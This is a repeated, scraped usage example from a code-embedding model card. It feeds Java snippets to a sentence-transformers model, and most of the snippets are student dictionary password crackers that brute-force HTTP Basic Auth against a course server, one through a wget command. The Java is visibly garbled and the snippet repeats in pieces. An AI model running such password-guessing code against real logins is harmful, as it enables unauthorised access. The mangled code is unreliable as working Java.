System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n   }\n\n    public void compareDiff(String emailAdd)\n    {\n       String cmds = "diff test1.txt test2.txt";\n       PrintWriter printW2 = null;\n       FileOutputStream fout2;\n       \n       File file = new File("diff.txt");\n       file.delete();\n       String ;\n\n       try\n       {\n          fout2 = new FileOutputStream("diff.txt",true);\n          printW2 = new PrintWriter(fout2);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n       try\n       {\n\n\n          \n          Process ps = Runtime.getRuntime().exec(cmds);\n          PrintWriter out = new PrintWriter(new OutputStreamWriter(ps.getOutputStream()));\n\n          printW2.println(loadStream(ps.getInputStream())+"\\n");\n          printW2.print();\n\n\n          if(mailFlag != 0)\n          {\n             FileReader fRead2;\n             BufferedReader buf2;\n\n             try\n             {\n                fRead2 = new FileReader("diff.txt");\n                buf2 = new BufferedReader(fRead2);\n                String line2;\n                int i=0;\n\n                line = new String("  some changes  the web  as followed: \\n");\n                \n                Socket s = new Socket("wombat.cs.rmit.edu.", 25);\n                out2 = new PrintWriter(s.getOutputStream());\n\n                send(null);\n                send("HELO cs.rmit.edu.");\n                send("MAIL FROM: @.rmit.edu.");\n                \n                send("RCPT : @.rmit.edu.");\n                send("DATA");\n                \n\n                while( (line2 = buf2.readLine()) != null)\n                {\n                   \n line= new String(""+line2+"\\n");\n                   \n                   \n\n                }\n                \n                \n                \n                out2.print();\n                send(".");\n                s.print();\n             }\n             catch(FileNotFoundException e)\n             {\n                System.out.println("File not found");\n             }\n             catch(IOException ioe)\n             {\n                System.out.println("IO Error " + ioe);\n             }\n          }\n\n          System.out.println(loadStream(ps.getInputStream()));\n          \n          System.err.print(loadStream(ps.getErrorStream()));\n        }\n        catch(IOException ioe)\n        {\n            ioe.printStackTrace();\n        }\n    }\n\n    public void send(String s) throws IOException\n    {\n    \tresponse = new TextArea();\n      \tif(s != null)\n      \t{\n            response.append(s + "\\n");\n            out2.println(s);\n\t    out2.flush();\n\t}\n    }\n\n   public int getStatus()\n   {\n      return status;\n   }\n}',
    'import java.io.*;\nimport java.net.*;\nimport java.text.*;\nimport java.util.*;\n\nclass Dictionary {\n\n    private String password="";\n\n    private int num=401;\n\n\n    public static void main(String[] args) {\n\n\n      Dictionary URLcon;\n\n      int length = 0;\n\n      String passwd="";\n\n       int t0,t1;\n\n      String line ="";\n      \n      if (args.length == 0) {\n      \t\n      System.err.println (\n      \t\t\n      \t\t"Usage : java BruteForce <username>");\n      return;\n      \t\n      }\n      \n      String username = args[0];\n      \n      \n      t0=System.currentTimeMillis();\n      \n      System.out.println ("  " + new Date());\n      System.out.println ("Using Dictionary method  attack "+username+"\'s password.  Please waiting.......");\n\n      try{ BufferedReader in = new BufferedReader(new FileReader("/usr/share/lib/dict/words"));\n\n           while ((passwd=in.readLine())!=null) {\n\n           \t URLcon = new Dictionary (passwd,username);\n\n             if ((URLcon.num)!=401) {\n\n             \tt1=System.currentTimeMillis();\n\n                System.out.println("The password: "+ passwd);\n\n             \tdouble dt =t1-t0;\n\n             \tSystem.out.println("It took "+DecimalFormat.getInstance().format(dt/1000)+ " seconds");\n                \n                System.out.println ("Finish  " + new Date());\n                \n             \treturn;\n\n             }\n\n\n           \t}\n\n      }catch (FileNotFoundException e){\n      \tSystem.out.println(e);\n      }catch (IOException e){\n      \tSystem.out.println(e);\n      }\n\n\n       System.out.println(" not find the password");\n\n\n}\n\n   public  Dictionary  (String password,String username) {\n\n  \t  String urlString =  "http://sec-crack.cs.rmit.edu./SEC/2/" ;\n\n      \n      try {\n\n        String userPassword = username+":"+password ;\n\n        String encoding = new userPassword.misc.BASE64Encoder().encode (userPassword.getBytes());\n\n        URL url = new URL (urlString);\n\n        HttpURLConnection uc = (HttpURLConnection) url.openConnection();\n\n        uc.setRequestProperty ("Authorization", " " + encoding);\n\n         url = uc.getResponseCode();\n\n\n       }\n        catch(MalformedURLException e){\n       \t  System.out.println(e);\n       }catch(IOException e){\n          System.out.println(e);\n       }\n\n\n   }\n}',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 768]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities.shape)
# [3, 3]
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-GraphCodeBERT-ST")
# Run inference
sentences = [
    'import java.io.*;\nimport java.net.*;\nimport java.net.HttpURLConnection;\nimport javax.net.*;\nimport java.security.cert.*;\n\npublic class Dictionary\n{\n\tpublic static void main(String[] args)\n\t{\n\t\tBufferedReader in = null;\n\t\tboolean found = true;\n\t\tString word = null;\n\t\tString cmd = null;\n\t\tRuntime run = Runtime.getRuntime();\n\t\tProcess pro = null;\n\t\tBufferedReader inLine = null;\n\n\n\n\t\tString str = null;\n\t\tURLConnection connection = null;\n\n\t\ttry\n\t\t{\n\t\t\tFileReader reader = new FileReader("words");\n\t\t\tin = new BufferedReader(reader);\n\t\t\tSystem.out.println(" cracking....");\n\t\t\t\n\t\t\t{\n\t\t\t\tfound = true;\n\t\t\t\tword = new String(in.readLine());\n\n\t\t\t\tcmd = "wget --http-user= --http-passwd="+word +" http://sec-crack.cs.rmit.edu./SEC/2/index.php";\n\n\t\t\t\tpro = run.exec(cmd);\n\t\t\t\tinLine = new BufferedReader(new InputStreamReader(pro.getErrorStream()));\n\n\n\t\t\t\tif((str=inLine.readLine())!=null)\n\t\t\t\t{\n\n\t\t\t\t\twhile ((str=inLine.readLine())!=null)\n\t\t\t\t\t{\n\t\t\t\t\t\tif (str.endsWith("Required"))\n\t\t\t\t\t\t{\n\n\t\t\t\t\t\t\tfound = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\n\n\n\n\n\t\t\t\trun.gc();\n\t\t\t}\n\t\t\twhile (!found);\n\n\n\n\n\n\t\t}\n\t\tcatch (FileNotFoundException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n\t\tcatch (IOException exc)\n\t\t{\n\t\t\tSystem.out.println(exc);\n\t\t}\n        catch (NullPointerException ex)\n        {\n            System.out.println(word);\n        }\n\t\tfinally\n\t\t{\n\t\t\ttry\n\t\t\t{\n\t\t\t\tif (in!= null)\n\t\t\t\t{\n\t\t\t\t\tin.print();\n\t\t\t\t}\n\t\t\t}\n\t\t\tcatch (IOException e) {}\n\t\t}\n\t\tif (found == true)\n\t\t\tSystem.out.println("The password is :" + word);\n        else\n            System.out.println("NOT FOUND!");\n\t}\n}',
    '\nimport java.net.*;\nimport java.io.*;\nimport java.misc.*;\nimport java.io.BufferedInputStream;\nimport java.awt.*;\nimport java.awt.event.*;\n\npublic class WriteFile\n{\n   String url;\n   String fileName;\n   int flag;\n   private PrintWriter out2;\n   private TextArea response;\n   int status;\n   int mailFlag;\n\n   public WriteFile (String newUrl, String newFileName, int newFlag)\n   {\n       url = newUrl;\n       fileName = newFileName;\n       PrintWriter printW = null;\n       FileOutputStream fout;\n       flag = newFlag;\n       status = 0;\n       mailFlag = 0;\n\n       \n       File file = new File(fileName);\n       file.delete();\n\n       try\n       {\n          fout = new FileOutputStream(fileName,true);\n          printW = new PrintWriter(fout);\n       }\n       catch (IOException ioe)\n       {\n          System.out.println("IO Error : " + ioe);\n       }\n\n\n       URL u;\n       URLConnection uc;\n\n       try\n       {\n          u = new URL(url);\n          try\n          {\n             \n             uc = u.openConnection();\n\n             InputStream content = (InputStream)uc.getInputStream();\n             BufferedReader in = new BufferedReader (new InputStreamReader(content));\n\n             String line;\n\n             \n             while ((line = in.readLine()) != null)\n             {\n                \n                printW.println(line);\n\n             }\n          }\n          catch (Exception e)\n          {\n             System.out.println("Error: " + e);\n          }\n       }\n       catch (MalformedURLException e)\n       {\n          System.out.println(url + " is not a parseable URL");\n       }\n       \n       printW.print();\n\n\n       if(flag == 1)\n       {\n          \n           compareDiff("@.rmit.edu.");\n       }\n   }\n\n  String loadStream(InputStream in) throws IOException\n  {\n        int ptr = 0;\n        in = new BufferedInputStream(in);\n        StringBuffer buffer = new StringBuffer();\n\n        while( (ptr = in.next()) != -1 )\n        {\n            status++;\n            \n            buffer.append((char)ptr);\n            mailFlag++;\n            \n        }\n        return buffer.toString();\n  